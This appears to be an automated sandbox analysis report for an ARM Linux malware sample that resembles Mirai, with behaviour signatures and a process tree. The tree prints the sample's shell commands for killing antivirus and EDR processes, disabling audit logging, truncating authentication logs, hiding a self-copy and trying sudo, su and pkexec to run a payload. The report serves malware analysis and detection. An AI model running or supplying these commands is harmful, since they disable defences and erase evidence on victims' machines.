Analysis
- max time kernel
149s - max time network
152s - platform
debian-12_armhf - resource
debian12-armhf-20260127-en - resource tags
- submitted
23/09/2026, 22:33
General
- Target cwlfkwnt.armv5tel.elf
- Size 921KB
- Sample260923-2gpgbseh67
- SHA256 c1281d07c7003d724577fa81d096ec939d81a71d8224044fe13a4e22a536c821
Score
8/10
Malware Config
Signatures
- Contacts a large (515) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- OS Credential Dumping 1 TTPs 2 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 8 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Schedules an At job 1 TTPs 2 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 2 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 1 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/cwlfkwnt.armv5tel.elf/tmp/cwlfkwnt.armv5tel.elf1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Writes file to tmp directory
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/usr/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/usr/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
/usr/sbin/auditctlauditctl -e 03⤵
-
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/123⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/133⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/143⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/153⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/163⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/173⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/183⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/193⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/203⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/213⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/223⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/233⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/243⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/253⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/263⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/273⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/283⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/293⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/303⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/313⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/323⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/333⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/343⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/353⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/363⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/373⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/383⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/393⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mailq/usr/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mount/usr/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/su/usr/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/umount/usr/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newaliases/usr/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mailq/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/at/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atrm/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/passwd/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atq/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newgrp/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/pkexec/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudo/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chsh/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/gpasswd/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/sg/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newaliases/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chfn/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudoedit/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
- Reads AppArmor ptrace settings
- Enumerates kernel/hardware configuration
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
-
/usr/bin/pkillpkill -9 -x kavf41⤵
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp1⤵
-
/usr/bin/pkillpkill -9 -x avp51⤵
-
/usr/bin/pkillpkill -9 -x avp61⤵
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
-
/usr/bin/pkillpkill -9 -x msasc1⤵
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msseces1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast51⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast61⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ash1⤵
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
-
/usr/bin/pkillpkill -9 -x clamd1⤵
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
-
/usr/bin/pkillpkill -9 -x smon1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon21⤵
-
/usr/bin/pkillpkill -9 -x smon31⤵
-
/usr/bin/pkillpkill -9 -x mcs1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mcs21⤵
-
/usr/bin/pkillpkill -9 -x mcs31⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw321⤵
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpm.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp25.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp34.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
- Reads runtime system information
-
